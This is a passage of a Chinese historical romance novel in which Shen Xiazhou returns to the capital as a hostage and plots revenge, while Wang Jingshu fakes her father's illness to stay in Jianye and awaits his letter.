沈遐洲点头。 * 翌日,朝廷来使不再被拒之城外,被客气引入了城,只道先前怠慢盖因城中事务繁忙。 双方各有所需,言语含蓄,当日便定下请沈遐洲回京的日程。 为表客气,就连王七郎也被放了出来,他并没有受到什么磋磨,只是受过些审问,还有几日不曾沐浴有些憔悴。 王静姝再见他已是连归家的马车都备好地等她,这次由族叔出面,并由不得王静姝不走。 对此,她其实也并不惊讶,那日沈遐洲的反常,她便已料到了,她的郎君看似疯,但总归是不到不管不顾的地步,他有软肋,理智令他做出了只牺牲他一人的选择。 王七郎怕王静姝无聊,也上了马车,同她叽叽喳喳说了很多,诸如他在狱中的遭到的审问,还道狱中真不是人呆的,老鼠乱爬,连个床铺都没有…… 王静姝光听并未言语,直到马车停下,她方掀了帘,是到出城的例行盘查了。 她目光在城门四处巡看,在找着些什么。 然直到出了城门也未见到她想等的那人,她神情空茫地放下车帘,手不自觉地捂上心口。 到了这一刻,她似才真体会到了失去是什么感觉,心里好像缺了一个口。 过往,她对沈遐洲肆意撩拨,喜他姿容,后来,她时而嫌他,又时而怜他,时而为他怒,又时而为他喜,可她从不曾想明白困惑她许久的问题,她到底是喜爱他的面皮多一些,还是喜爱他这个人多一些。 即便是下意识地追沈遐洲来此,她也说不太明白自己真实的心意。 可此刻,她似乎明白了,那些莫名的冲动、欢喜、恼怒、不舍……汇聚在一块的情感都可以称作是喜爱。 喜爱他的面皮,也喜爱他这个人,即便他偏执狭隘。 这种忽然而至的明白,令她很有冲下车舆,再去寻沈遐洲的冲动,她似从未清楚明白地回答过郎君常问的“卿卿,你爱我吗”。 她为此感到懊恼,一种再也见不到郎君的恐慌席卷了她。 “停车!”王静姝掀帘大喝,人也当即要钻出还在行的马车。 王七郎被她忽然的举动吓到了,担忧她真栽下马车,连忙拉她:“六娘,你要做什么,你别激动——”又怒对外喊:“该死的老驭夫,是听不见吗,停车,赶紧停车!” 马车勒停,车队最前头中的王辉也受到惊动,遣人去看情况,知是六娘在闹,顿时沉了脸色:“越发不知轻重了!” “将人看住了,一切归家再说。” 王辉是与王瑞一辈的堂兄弟,此行走这么一趟,是王家自己求来的,既为向新帝表明一个倾向的态度,也顺带带回不服管的王静姝,免得她的任性给家族带来麻烦。 作为长辈,王静姝闹,他是完全有资格置喙的,眼下只是让人将她看住,已算得上是客气。 王静姝被关回车中,车驾外也陡地多了好些卫士。 王七郎看一眼,只得宽慰六娘别闹,她要有什么急事可以交给他办。 王静姝眼眸亮了亮,随即又暗淡了下去,她只是忽然很想见沈遐洲,想同他说欠他的话。 这哪是旁人能替代得了的? 她一时失去了闹腾的气力,安静颓坐。 王七郎自小就没见过六娘这样没精打采的模样,急得抓耳饶腮,想逗她乐,只引得王静姝淡淡瞥他道:“你安静点。” 王七郎憋闷,他实不知一个落魄了的郎君而已,怎就惹得六娘心念不已了,似想起沈三郎命人将他拿下审问的不客气,他很是不忿地住了嘴。 然马车所行不久,又停了下来,王七郎掀帘瞧见来人,还是连忙喊了王静姝:“六娘,你快来看,是沈……” 他才吐了一个字,王静姝便已挤到了车窗前。 一支兵马所拥的车队停在官道岔路,年轻郎君一身浅色常服,袍带飘飞,如随风 延展的流云,如泼墨世间的山画,天地间恍若唯他风姿迢迢而来,他缓缓抬目往王静姝的方向望来,玉白面孔在流光下瞧不真切。 可王静姝却分明感觉他在对她笑,且笑得分外好看。 沈遐洲并未径直来寻她,而是在离王辉车驾不远处停了下来,有礼地拱了拱大袖。 她不知他在做什么,也听不见他在说什么,但她能见他身边没有带嵇牧也没有带夜阑,旁的卫士更是不见任一眼熟的,唯有那捧盒上前的小仆她认得,是星泉。 很快,王静姝的马车又动了,还有一卫士奉王辉的令,给她送来一锦盒,卫士道:“女郎,沈郎君道女郎有物落在他处,特此送来。” 锦盒被呈上,可她马车周旁的卫士却围得更紧了,她在王七郎注视下开了锦盒,甫一半开望一眼,她立即又合上了。 王七郎都被惊了一跳,更好奇地打量那锦盒。 王静姝将那锦盒压盖置于腿上,再望出车窗外时,与年轻郎君隔着数丈的距离相错而过。 他们只来得及匆匆相视一眼,可那一眼,王静姝清楚明白地瞧见,沈遐洲再失魂落魄也还是那个疯郎君。 而她,有些话倒也不再急于一时了。 两队人马一回往建业,一去往洛京,短暂的相遇再分道,谁也不知日后几何。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第71章 第71章我欲等他 马车中,女郎异常平静,不再如之前那般闹着要下马车,甚至目中也回复了光彩,清亮亮地透着一股子的笃定。 王闻俭困惑地摸了摸后脑,视线越发好奇地落在王静姝抱着的锦盒上,到底装了什么,能让六娘一下子恢复了精神。 王静姝防备地更紧紧抱了锦盒,倒不是盒子中的东西有多宝贵,而是实在耻于见人,便是她自己多看上一眼,也觉得面上烧得慌。 先才极快的一眼,几颗灿灿夺目的宝石,便足以她辨清盒子中装的是什么,竟是她与沈遐洲那日胡闹的脚镣。 以她对沈遐洲的了解,他哪里是来告别的,他分明是来警告的,以此来告诉她—— 他是不会放过她的! 可就是这种阴恻恻的警告,她反而安心多了,甚至有几分想发笑,她可想,俊美的郎君阴寒的一张脸,要威胁她的摸样,心尖都跟着跌一下地发麻,发烫。 她摩挲着锦盒精致的花纹,毫不认输的想:她等着沈遐洲来不放过她。 * 马车穀穀而逝,沈遐洲仍立在官道旁盯着远方扬起的尘土,直到有人来催促他出发。 他闻声转过身,眸中杀意若隐若现,旋即收敛得再不见半分地也上了马车出发。 车驾是沈二郎备的,算不得多华贵,但内里舒适,茶具等一应俱全,就是为了让郎君一路颠簸少受些累。 星泉尽职尽责地烧了水,给郎君添了茶,随即小媳妇似的缩到了一角,他自跟随袁夫人一行先行撤出洛京后,也是受到好一番的磋磨,后来因郎君用不上他,他便与星轨一同在二郎身边打下手。 此行伴郎君回洛,更是受到二郎叮嘱要好好照顾郎君,可也没说郎君就只带了他一人啊。 他不免发愁,若是遇到什么危险,他细弱的身板,够给郎君挡几刀的? 但他的杞人忧天确是多余了,沿途一路都异常安稳。 只越接近洛京,官道往来的百姓越多,各种消息流言不用刻意去打听,都能听得清清楚楚。 普通百姓对天子自然是不敢妄议的,可丹阳王造反,沈家被抄家一事还是令人津津乐道,甚至编出了多个版本,诸如沈家将领决策失误战败,害了万千战士,沈家郎君畏罪潜逃,又诸如长公主与沈家家主相爱相杀同归于尽…… 编排离谱,胜过沈遐洲过往听到的任一个版本,但世上从来没有空穴来风的流言,沈遐洲知晓,这大抵就是朝廷默认的解释,而他,此行回洛,名为吊唁,实为戴罪之身,且要看陈雍如何处置他。 沈遐洲隔着车驾幽幽旁听许久,双目变得森寒,茶盏也不知何时被捏碎,瓷片陷入手心,鲜红血珠滴落木质车板上。 星泉急得连喊几声郎君,翻出药来为他处理。 好在车队并未停留太久,马匹喂完草料就继续出发,沈遐洲也像是恢复理智般由星泉为他包扎,越靠近洛京,他面上情绪越发地收敛得宁和,至入洛京城时,除了些病态,他已然做出了一副琳琅似玉的君子摸样。 他便是这幅模样再同陈雍见了面。 陈雍高坐丹墀龙椅之上,甫一见得沈遐洲作秀般下了丹墀:“三郎,你可算归京了,长姐待我恩重,便是你犯了再大的错,我又如何舍得长姐唯一的血脉断绝!” 他声如悲戚,满是对长公主逝去的哀痛。 可话中意味确却是当着诸多朝臣的面,坐实了流言中对沈氏罪名的认定。 当即有臣子劝陈雍要保重身体,莫要哀痛过甚,有了这一臣子的开口,接下来便更有直臣亦或是揣摩圣意的新臣当着沈遐洲的面争论开了。 有人道沈遐洲平叛失利害死沈桓大将军不说,还潜逃至太原有反心,也有人在吕相授意下为其说情道,虽付出代价大了些,可丹阳王也已伏诛,可算做功过相抵,长公主也自焚以向天下人死谢罪,不该对其唯一的血脉过于苛刻…… 沈遐洲冷眼瞧朝中诸臣冠冕堂皇地争论,将他们的面庞一一记在心里。 争论逐渐有了最后的定论,新帝善待长公主的血脉,留京看顾。 而对太原的处置,因他的入京为质,轻而易举地被揭过,陈雍与吕相相互提防,陈雍方坐稳现下位置,不可能在世家不出力的情况下分出自己大批的兵力,而吕相在吃了大亏后,有意留着沈氏郎君的微火给陈雍添堵,既卖沈氏郎君一个人情,也无不在告诉陈雍,现下便想甩开他的扶持还为之过早。 及至退朝,陈雍又留沈遐洲说话。 早已翻转的境遇,陈雍极尽了和善,可偏是这种仍旧做戏般的和善,才更显得讽刺,是他压抑多年,终得以彰显的荣耀。 沈遐洲忍耐着谢过他的恩典。 当夜,沈遐洲宿在了陈雍给他安排的府邸,这府邸内外可以说是漏成筛子都不为过,下到仆役,上到护院卫士,不是陈雍的人,便是吕相等安排的眼线。 星泉光是在府邸中熟悉了一圈,就受够了一身的气。 然他方推入沈遐洲的房门,便惊得瞠大了眼,蜿蜒如小蛇的鲜血一直淌至他脚边,不远处赫然是几个死状惨烈的尸体。 而那尸体之后,还有几个如鬼魅一般的黑影。 不及他大叫,便被一股力道卷入了房中。 沈遐洲静坐桌后,垂眼擦拭着手中的匕首,经他挥手,黑衣卫士才放开了捂着星泉嘴的手。 星泉惊魂未定,一会是惧怕不远处的尸体,一会又有些庆幸,郎君原来带入洛京的不是只有他一个无甚武力值的小厮,一种很诡异的感觉油然而生,既安定又很吓人啊! “拉去埋了。” 沈遐洲开口,星泉顿时腿软,紧紧捂着嘴摇头,满眼写着不要,用满身抗拒的姿态表着对沈遐洲的忠心,他绝对不会出去乱说。 屋中一黑影不由被他夸张表现弄得嘶笑一声,极快一声,随即怕郎君怪罪一般,立马带着屋中尸身悄无声息地退离,只留一地的未清理的血迹还证明着方才发生了什么。 此刻的沈遐洲全然没了白日在人前时的宽和无害,目色阴冷,便是跟在他身边多年的星泉此刻也不敢再如过往一般抱着郎君的腿哭喊求饶,好在他察言观色的本事仍在,非常乖觉地给自己寻到可做之事,极力缩小存在感地开始清理屋中血迹。 沈遐洲似默认了他的所为,又在低头写画着写什么。 星泉每每无意抬头瞥上一眼,便能瞧见郎君在纸上写下的名字越发的多,若再对上郎君的眼,更是生打了个寒噤,阒黑寂静,恍若能在人身上戳出洞来。 沈遐洲幽静的眼盯着写下的一个个名字,他愿入洛京,从来不是他舍己为人,而是他迫不及待,一刻也不能等, 他要让该死的人都下地狱。 洛京如今确是陈雍的主宰,可它昔日也曾有沈家的一席之地,也曾掌在他母亲手下十余年,他早早命夜阑潜回洛京收整。 而他,独带星泉一人吸引走了所有的关注,惨淡又没有威胁的主仆,陈雍又如何会吝啬他的善意? 许是想到白日受到的对待,他面庞讽意越来越重,母亲可曾想过有一日,她施舍留下的一匹恶犬,有朝一日,会施舍到他身上? 逝者已逝,沈遐洲已无从寻得答案,他当下只想进行他的复仇,背叛他的,他会如今夜般一个个处理掉。 他只恨不能快点,再快一点,他的女郎还在等他,那是个坏女郎,他已然被逼退一步,不去将她囚禁在身侧,可他绝无可能留给旁人觊觎的机会。 他想得目眦欲裂,又垂下眼对着名单琢磨他的阴谋诡计。 而与此同时的王静姝,也已归至家中。 她被罚跪于祠堂,不许人探看。 祠堂本就阴气重,门扉还全关着,内里便更显得阴寒无比,跳动烛光时而照亮些许牌位,鬼魅异常。 女郎膝下不垫团蒲,倔强跪于正中牌位之下。 “任性妄为,置家族不顾,与罪臣搅和在一起……” 一条条细数她错处的指责似回荡在耳畔,可有的错她能认,有的错,她绝不认。 她若不逃离建业,难道她花一样的年华就要为家族的野心献祭不成?况沈遐洲不是罪臣,沈家也无罪,他们不过是在权势的角逐中落败了而已,旁人指摘背离便罢了,可王沈两家分明是世交姻亲,这般迫不及待的撇清关系,岂不太过冷情,这些落在小叔母眼中如何想?日后小十一郎长大后又如何想? 整个王氏固然是一条船上的,可大伯不能总以自己的意志作为整个家族的意志,王氏难道真的就会因为同沈氏的这点姻亲就会受到至灭族的牵连? 并不见得。 各大世家千百年传承而来,各族系姻亲不知几多,皇室更迭也不知几多,哪能那般轻易因一点姻亲关系就能受到动摇根基的牵连。 说到底是大伯不甘王氏日渐沉寂,但凡有机会便动了心思,此次也不过是借机挤入洛京的朝堂,才非要做出有沈氏划清界限来。 大伯要如何追逐他所求的家族兴盛是他的事,她这个小女郎可不愿再做了他手中的棋子。 她有些难受地揉了揉自己的膝盖,余光不断朝仅开着的一扇窗往外瞟,也不知她拜托王闻俭做的事怎样了。 她自与沈遐洲分别后,车队一路南下至堂邑,换了水路,直至到了建业,径直被接回了家中,别说是同父亲私下交谈了,便是用惯了的侍女都不得近身地入了祠堂罚跪反省。 但好在同她一道下船的王七郎并不受看管,得她授意,甫一下了船便先替她去寻父亲求助了。 算算时日,她久不认错,是该以家法来处置她了。 犹在想着,忽地一阵齐整的脚步声自外而来,祠堂的数扇门扉被仆役打开,侍女鱼贯入内将幽暗的祠堂灯火点得明亮异常,继而如来时一般整齐地退出。 再次响起脚步声时,便没有方才仆役的小心翼翼,多了几分力道和纷杂,王静姝稍留神听了听,便挺直了脊背,跪得极为端正,但也同样显得极为的不知错。 家法藤条被当着诸多族亲与同辈的面,捧到了王静姝身前,王瑞冷冷哼了一声,话却是对着王轩说的,“四弟,你的好女儿,自幼叛逆也便罢了,如今连累极家族的事也做得出,今日你便好好管教管教你这逆女,若是你下不去手,便由为兄代你管教!” 王轩也既是王静姝的父亲,家中行四,字斐如,可见王瑞是真被王静姝拒不认错给气着了,连带她的父亲也一同迁怒上了。 王斐如一载未见王静姝,女儿归家也先不曾第一时间见上,可王静姝的所为和顶撞长者显然也是听闻了的,他瞧着像是已被气病过了一场,此刻听到长兄的指责,面上也像是对王静姝带上了羞恼,言道:“兄长教训的及是,是我过往太过纵容六娘,才至她养成了如今这不知天高地厚的性子。” “我今日便好好教训教训这个逆女!”说着,王斐如抄起油润过的藤条,走向王静姝。 王静姝既惧且倔地抬起双手置于身前,王斐如一抽而下怒涨了脸。 祠堂外同王静姝同辈的郎君女郎都不忍地闭上了双目,然也不知是王斐如准头不行还是真气急花了眼,第一下竟落空,只抽中了王静姝身旁的地砖之上。 藤条再次被抡起,落下,这次仍没抽中,反倒王斐如摇晃着的身子几欲要倒下。 但他用藤条拄地一瞬,又再次抬起手腕要抽下。 这下连王瑞都开始担忧他的身体了,才要张唇阻止,“啪”一声,藤条落地,王斐如也倒地抽搐,王静姝焦急跪挪上前大喊:“阿父!” 祠堂外几个夫人也见不好,慌让仆役去请府医。 偏王斐如连话都说不清了,还要手抖着训王静姝几句不孝,为家族惹祸…… 王静姝泣泪连连,同王斐如认错,“阿父,你别吓我,我知错了,我日后哪里都不去,留在阿父跟前尽孝。” “我自小就没了阿母,阿父,你别扔下我!” 父女两一抽搐得几欲厥过去,一又声声悔泣,王瑞便是多有狐疑,也毕竟是一母同胞的亲弟,不敢不重视。 及至府医来把脉,面色凝重,禀道:“四郎主前些日方病了一场,今日又气急攻心,隐是中风之症。” 他说的疑似,但哪有听不出分明是确认的道理。 王静姝更是趴伏在王斐如身侧痛哭认错。 到了这时,王瑞哪还有心思去管王静姝,中风这病可大可小,严重的可至瘫痪不能言,他四弟何等文采风流人物,若这一气病下,再不能习文弄墨岂不可惜。 “可还能医治调养?” 府医答道:“四郎主病症来得急,但好在是初次,多用药调理,辅以施针刺激穴位,一年半载定然能好转不少。” 虽不是肯定的能完好,但只要能医治,以他们王氏的底蕴,也不缺名贵药材,养多久都行。 许是实在被仍在哭的王静姝吵烦了,王瑞不悦皱眉,斥她:“你阿父病因你病重,你若知悔,便安生地好好照料,改禁足在院中,出门便别想了。” 王静姝满脸泪痕地目送王瑞离开,在仆役抬动下,跟着王斐如一同回了他们四房的院落。 这时药也熬好送上来了,王静姝极乖巧地当个好女儿在王斐如身边侍疾。 药被喂入王斐如口中,这是当着总多长辈的面吩咐下去熬煮的药,半分不惨假,甫一入口,本有中风病症的王斐如当即苦得面色大变。 王静姝极孝顺地用帕子为他擦拭,顺带遮挡了后头大伯那跟来的仆役探看的视线。 一碗药喂下,王静姝才出了屋门,令人撤下药碗,又遣人送离各院因担忧派来过问的老仆们,这才又满是不放心地同府医过问要如何照料阿父才好。 她似大彻大悟了的孝女,记得极其认真,任是任一走过的仆婢,怕是都要说一声六娘子定然是悔过了。 然是不是真的悔过了,怕是只有她自己知晓。 接下来数日,府医日日前来给王斐如施针,但成效见微,短时内非是能远行的。 王瑞询问过几次病情后,便少过问四房之事,反倒是一些族老日渐寻上门,同王瑞商讨迁移洛京之事,王瑞激进能开拓,但也有守成的族老,商讨来商讨去,成了可退可守也守望相助的两派。 王氏日后无论是更上一层楼,还是退回建业,都不至于根基毁于一旦。 一经商定,整个府中皆动作了起来,忙着搬家,不过四房中却是一点动静也无,王斐如病着,六娘子又仍旧禁足着,一时间,反倒成了同情的对象。 王斐如瘫在靠椅之上兢兢业业扮着中风,可听着动静,仍旧掀了眼问:“当真不要去洛京了?阿父此刻好起来也是使得的。” 王静姝默默将一册书盖至王斐如面上:“阿父,你还是为了女儿继续病着吧。” 原是王静姝有意拒不认错,给足了王闻俭与她阿父通气先病上一遭,再买通府医的时间。 而大伯即便被她不认错气怒了,也不可能越过她爹对她实行家法,且王家施行家法还有一警醒其他子弟的用处,彼时,王斐如众目睽睽下被王静姝气得病瘫,再加上府医的当众诊治,便更添了几分可信。 她从一开始惧的就不是一时的惩罚与反省,而是她不愿此时跟同迁 去洛京,她已是十七的女郎,大伯一旦入洛,难保不会又看上哪家的势了,到时她的婚事还有几分自己决断的可能? 她必须有正当的理由在建业留下。 她阿父只有她一个女儿,如今又“瘫”了,她侍疾在侧难道不应该吗? 王斐如如何不知她的心思,摘下面上的书册,随意翻页,语气却颇有些酸意:“沈家那小郎君,年少时我也瞧见过,也不见得多好,你便不怕将自己等成了老姑娘了?” “阿父,我欲等他,便不惧几个春秋。” 第72章 第72章剧情 王静姝说话时不见羞赧,语调却柔,唇畔牵动的笑意恬淡又柔婉。 王斐如一瞬恍惚,竟从她身上窥见些亡妻盈娘的影子,那时六娘才出世不久,小小一团的襁褓,躺在盈娘身侧梦得香甜,盈娘便是这般婉约浅笑着招他一起看六娘的睡颜。 初为父母的他们惊叹于小小孩童的每一瞬呼吸,每一细小的举动,似怎么也看不够,甚至忧虑起襁褓中的女儿这般小,要如何长大? 带着这种好奇,他们对六娘极尽了呵护,后来,即便盈娘不在了,他也只是连带盈娘那份感情倾注到了六娘身上。 说句溺爱也不为过,以至六娘自小性子也便养得比旁的女郎张扬了些。 兄长倒是曾说他将好好的一个女郎养得心野了,不过他却觉得六娘甚好,什么该是女郎的样子,什么又不该是女郎有的样子,同他与盈娘的小女郎又有什么关系。 正是这份纵容和了解,这般清丽柔婉的笑意出现了六娘的脸上,王斐如才恍惚之余,心一点点沉了下去。 六娘是真对沈家郎君动了真情,而此前揶揄,他还只当六娘还如同幼时一般喜爱皮相好的郎君,只待时日久些,也便不了了之了。 可此刻他不得不重新忧虑起来,甚至思索,六娘追着沈家小儿去太原,叛逆的成份到底占了几分? “阿父,你怎么了?”察觉王斐如忽然凝重的面色,王静姝不由奇怪。 “无事。” 王斐如有些心累地闭眼,朝王静姝摆手,大有赶她出去想静静的意味。 可现在府中都正忙乱着,她此刻哪都不去,在王斐如跟前当孝女才是正经的,果不其然,王瑞在离开建业前,还是来了四房一趟,过问王斐如身体有好转的迹象后,目色略缓地扫过王静姝。 满是估量的目光,打量得她略垂下头避开。 年华正好的女郎,即便什么都不做地静立着,也昳丽非常,王瑞即便向来不太喜这个有些出格的侄女,也不得不承认她相貌的出彩,只可惜是四弟的独女,诸事不好插手太过。 他若有所思地收回目光,淡淡叮嘱了几句,带着人离去。 随着王瑞的动身,整个府邸似也空寂了下来,留下也多是些安分守业的亲眷,对家主刚走就解了禁足的六娘子也便睁一只眼闭一只眼,只当不知。 王静姝第一时间去瞧了与她先前同等境遇的小叔母。 沈家变故,沈风眠虽为出嫁女不受至牵连,可在连奴仆都要有新前程可奔的王家,处境多少有些尴尬,方归家时与王静姝一般,也被禁了足,后来即便解了禁,可巧府中忙着迁洛,四处乱糟糟的,便也不曾出过门。 不过,在她父亲传出患了病,倒是也遣人来看望过,这不,她一解了禁,便想着来看望。 甫一踏入清芷园,便见得小叔母正带着王闻礼写字,院中虽是因小叔父也跟着去了洛京带走了不少人,显得有些空,但余下的奴仆倒一如往常般恭敬随侍。 王静姝原本提着的心,便也慢慢松了下来,可步子却越发踟蹰地不知进退,沈大郎伤了腿,沈二郎独自支应着太原城,沈三郎入洛为质,袁夫人几经波折身体大不如前…… 桩桩件件她知小叔母必然挂怀,可瞧着清减素净不少的小叔母,她实不知从何说起。 “六娘,既来了,怎不过来些?”沈风眠婉婉一笑,朝王静姝招手。 在低头写字的王闻礼闻言也抬了头,圆圆的脸蛋还满是稚童的稚气,有些藏不住欢喜地唤了声:“六姐姐。” 王静姝也不由笑了,心觉下一刻王闻礼怕是就要冲过来拉着她的袖子撒娇了,然王闻礼微挪了挪脚步,看了自己母亲一眼,忽腼腆地与王静姝抿了抿唇,懂事地又垂头去写字了。 他年岁虽小,可也正是对人情绪察觉最为敏感的时候,舅舅家出了事,母亲虽不曾在他面前表现出来,可也隐约能察觉出些什么,就好比昔日对他极其亲和的伯婶们不如以往温柔,总热络的府中管事们也不总来送时兴的东西了,再诸如父亲随着大伯父去了洛京,母亲就不曾跟去,他不愿与母亲分开,父亲问他可要跟去洛京时,他就摇头了,此刻也是下意识地想乖些,母亲或许就能更开怀些。 他的举动自觉极小,可他才多大,落在沈风眠眼里,目中不经泛起酸涩,不由轻拍了拍他后脑嗔道:“你这小猴儿,忽地敛了什么性,你六姐姐都来寻你了,娘还会拘着你不成。” 王闻礼一会疑惑地看看母亲,又看看王静姝,似是询问又似是不信,却是王静姝懂了小叔母的意思,倒也不急着同小叔母说话,上前一把拉过了王闻礼,就往他圆圆的小脸蛋上招呼,揉捏搓扁的,不时便嬉闹了起来。 毕竟是小孩儿,方才一丁点儿小大人的姿态便全然无了,又左一口六姐姐右一口六姐姐地叫得欢。 同他玩了好一会,沈风眠才令人带王闻礼下去擦汗。 “叔母,”王静姝一经开口声音便带上了些哽咽,还有些羞愧,自觉自家所为真不地道。 沈风眠拉她手坐下,用帕子为她虚拭了眼角,笑她:“我们恣意的六娘子也有哭鼻子的时候?” “才没有——”王静姝不好意思地避了避,她并不曾哭,只是近来经历的许多事,有些压在心中的情绪是连父亲都难以言明的,反倒是到了一直如母亲一般待她的小叔母跟前,还不曾言语,就汹涌了出来。 沈风眠如何不知六娘为何难受,六娘是个有情义的好孩子,正因有情义,才为沈家所受到的难不忿,也正因为有情谊,才对自家逐利行经更羞愧。 然能经世的大族大都如此,六娘也不是不知,只是这一切都恰发生在她在意的人身上。 沈风眠轻笑着轻拍了拍她手,也不消言语,就十分足以抚慰人心。 她引着王静姝说话,几番问谈间,王静姝便将知的和能说的都说了。 王静姝抬眼觑沈风眠有些怔忡和担忧的神色,又自觉是不是自己说得太过详实,然她踟蹰不过一瞬,先扫去自己脸上的阴霾,扬脸道:“叔母,几位表哥都不是认命之人,我瞧将来如何还未可知。” 这话却是不假,若非时局混乱,王瑞又 哪会在这时非要挤进去分一杯羹? 许是王静姝自信的容情太过感染人,倒也令人心底生出些希望来,沈风眠紧蹙的眉头也淡开些。 见她神情有松,王静姝便又问:“叔母院中可有什么缺的?或是需换些新的人手?” 说着,她目光颇凌厉地环视了一周,瞧着越发有些慑人。 可不是,过往六娘子就是府中出了名的不好惹,何况现在府中根本没有能压过四房的长辈在,可不就六娘子说了算,这不,她连禁足都自动解了也无有人能管的,何况王斐如还不是真病,现在外人瞧着可是在慢慢地转好呢,王静姝可就更有恃无恐了。 沈风眠瞧她气焰高涨的模样,不免失笑,“我这儿倒不用你操心,同你阿父一样,都是做给外头看的。” 只一句,王静姝便懂了,叔父与叔母感情好着呢,早前禁足什么大抵也是想阻大伯父插手自房中的事,而不带叔母入洛,大抵也是避嫌。 且沈风眠毕竟是沈氏女,没得自己送到陈雍手中去让其拿捏自己侄儿们的,如今避得远远的才是最好的。 “那叔母日后可别拘着十一郎来寻我玩。”王静姝眉眼一弯,笑意淌出,她瞧着王闻礼多少有些被这些日子的事影响到,她可不想王闻礼小小年纪就小老头一样给自己拘着了。 沈风眠笑而不语,便是不阻拦的意思。 然王静姝禁足解了后作威作福的日子没几日,她阿父竟然转性地拘起她来了,这是过往十几年都不曾有的。 她耐着性子帮王斐如整理了数日的文书典籍,瞧出了些不对,这些文典非是王斐如往日爱的经子史集,而多是地方经注,甚至还有漕运与军储的往年记册,除去王氏现今在江淮一带任官的子弟能拿到的,旁的倒多与他阿父近来前来探望的友人对得上。 她一时有些茫然,不解阿父忽地捡起这些是做什么? 她阿父的性情她了解,性疏且狂,年少成名,曾因被荐任过几年庐江郡尹丞,后许是觉得无趣,便辞了官,再不曾出过仕。 她阿父这般任性形状,却并不曾被指摘,还引得一众出身士族的贵公子同他有样学样,后来便更是长于清谈,专研学问,也算是南地士林中的翘楚,颇有影响力,故而,有时大伯对父亲也无可奈何。 也正因这样,她理着入眼可及的一堆堆全是务实的文书,才越发不解。 她不是能憋得住的性子,等到竹苓来报父亲那里来探病的友人走了,也当即起身去送药。 这药方也早已换了,就是寻常的补药,用以配合王斐如对外“好转”了的病情。 她甫一踏入房中,便被惊了一跳,她阿父姿容憔悴,眼下青黑,却仍旧扑在一张舆图跟前。 这不是才有人来探病,她阿父难道便是这般见客的?她阿父虽已是不惑之年,可惯来也是姿仪甚好的名士,不然也不会养刁了她的审美,可这般不修边幅,她都狐疑她父亲是不是真病了。 她唤了一声,王斐如眼都不抬,甚至抬手做了个止的手势,便是让她莫要扰他的意思。 王静姝梗了一下,不服气地立在一旁也往那舆图上瞧。 舆图足有丈余,两张拼在一起的桌案都不足以铺展,有些垂下,而地下更是散落着一堆图画过的图纸。 足过了好半晌,王斐如才没甚仪容地瘫坐在扶椅上,开口的第一句就足以惊得王静姝心跳慢了半拍。 他道:“这大绥,怕是要乱了。” 第73章 第73章意映卿卿如晤 王斐如语出惊人,王静姝压下如擂心鼓,问:“阿父为何这般说?” “圣恩不终,遐迩易动。” “我还要再看看。” 王斐如似答,又似自言般低喃,同王静姝如出一辙的眼也带动一片褶,不似老态,可也不是以往清谈阔论的疏狂,反像是专研某事得着了魔。 王静姝没见过这样的父亲,又连唤了几声“阿父”。 王斐如这时才像是回过了神,可抬眼间眸光晦得王静姝也不由得退了一步。 “姝儿,你在建业长大,当真没有看中的儿郎吗?日后只要你留在建业,为父无论如何都能保你一世无虞。” 王静姝不知阿父怎么忽地又操心起她的亲事,可阿父分明知她如今心寄沈遐洲,不该做出有违她心意的逼迫才是。 她并不答,只用一双眼倔强地盯着王斐如。 “罢了罢了,我一生只得你一女,为父就为你搏上一搏。”王斐作罢地收回视线,挥手赶人,又埋头入了舆图中。 王静姝还想再唤几声,问问阿父说的到底是何意,可她阿父着实是如着了魔,完全将她当成了空气。 她负气离去,理着不知又是从哪送来的一堆籍册,心中却仍琢磨着阿父那东一榔头西一榔头的话。 陈雍继位,是靠着大肆的恩赏稳定着局势,就她听闻的,吕相宰辅一职虽不变,可被升擢三公之一的司空,更显位尊,除此外,他还封陶敬为督军尉掌京畿兵马,许是为制衡与收买人心,更是招了不少各地的士族,皆大肆封官。 可这种恩赏能长久的了吗?陈雍会甘心一直被世家牵制吗? 答案是不言而喻的。 或许还远不止她能想到的这些,在长公主掌权时动乱的蜀地、还有频繁调动的边防…… 一旦遮羞的平和被扯下,谁也不知大绥会发生什么。 隐约间,她似懂得了些父亲话中的意思,可这与她的亲事有何干?说为她搏一搏又是何意? 目光再扫至那些翻开的籍册,一个念头电光火石般闪过—— 阿父难道是想取代离开建业的大伯,成为王氏在江淮一带的掌权人? 若非如此,何故清点起土地与部曲? 建业王氏如今虽多以诗书传家,可南地的诸多世家贵族起家时哪个不是靠军功,多少豢养着些自己的部曲。 这些部曲平日里耕种王家的田地,可需要时也能组织起来应敌。 有些人家部曲甚至不输朝廷军队。 然这些各家平日里都捂得严实,少有能令外人窥得的。 王静姝可以肯定,阿父说只要她留在建业,保她一世无虞绝非只是说说而已。 若换了她不曾对沈遐洲动情以前,她或许便听了父亲的安排,可现今的她,难以违心去爱旁人。 日子一日拖一日地过着,她自觉窥见了父亲的打算,即便是在府中性子也多有收敛,学着打理着所能触到的事务。 王斐如也越发地繁忙,他的“病”一经好转,就经友人举荐赴任扬州別驾,这官职仅次于扬州刺史,算得上是高位,可由王斐如来担任也算是寻常,时下世家与世家之间本就联系紧密,加之三互法的旧例,本州的世家一般都在本州担任治中或是別驾。 可巧不少南地士族如王瑞一般迁去了洛京,这位置也便空了出来,王斐如声名本就远扬,他愿意出任,这位置也便轻易落到他手中。 而到了此时,王瑞即便察觉了王斐如“中风”的猫腻,也不会阻拦王斐如,盖因无人会嫌自家掌控的势力范围扩大,甚至同王斐如书信中商量如何以建业为依托,控制淮水一线。 王静姝并不关心伯父与父亲传信中的内容,她每每期待的是王七郎的来信,她总能从中觑见些洛京的形势,还有她最为在意的那人。 王七郎最不乐意替王静姝打探沈三郎的行事与近况,可耐不住王静姝的恳求,捏着鼻子般地每回来信都会带上沈三郎几句。 初时,他只毫无铺陈地言上一两句在哪碰见过沈遐洲,亦或是听得些什么传闻,顺带写入了信中,每每这样少得可怜的话后,还要十足怨念地叨劝上王静姝一番,道这样被新帝监视得毫无自由可言的郎君早点断了念的好。 可忽地有一日,王静姝收到的信,署名虽还是王闻俭,信中的字迹却明显换了人。 看着那熟悉的字迹,王静姝拿信的手指都有些微微颤抖,自太原一别,春逝夏消,她根本不敢主动同沈遐洲联络,她知沈遐洲回洛京同为质没甚区别,几乎可想的境地,她即便有心给他送信,信能否到他手中?又可会被人察看了信的内容? 而她又可会给家中带来麻烦,引得大伯又盯上她? 种种阻隔,他们默契般地不让彼此为难。 王静姝睫毛轻颤,手指仔细展平信纸,一点点看入信中内容—— 卿卿: 